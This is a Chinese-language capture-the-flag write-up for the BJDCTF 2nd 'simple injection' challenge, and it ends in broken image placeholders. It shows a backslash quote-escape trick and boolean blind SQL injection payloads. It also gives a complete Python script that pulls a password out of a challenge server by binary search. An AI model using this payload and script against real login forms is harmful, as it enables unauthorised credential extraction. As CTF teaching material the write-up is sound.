[BJDCTF 2nd]簡單注入
hint.txt出現了內容。
大概意思和國賽一道題相同。
username處注入
\
來轉義單引號,password處使用sql語句整數型注入。
例如:
傳入
admin\
和or/**/length(database())>0#
會回顯stronger字樣傳入
admin\
和or/**/length(database())<0#
會回顯girl friend字樣大師傅都麼得girl friend,我也沒得……呀。
直接上腳本吧,二分法還是挺快的。
這裏我用的三目運算,只能用正整數和0,因爲用負數發現被過濾了負號。
import requests
url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php"
data = {"username":"admin\\","password":""}
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
data['password'] = payload
r = requests.post(url,data=data)
if "stronger" in r.text :
head = mid + 1
else:
tail = mid
last = result
if head!=32:
result += chr(head)
else:
break
print(result)
我太垃圾了,要努力啊。
中…(img-J1PsBRV6-1587834791692)]
[外鏈圖片轉存中…(img-2IRltssJ-1587834791693)]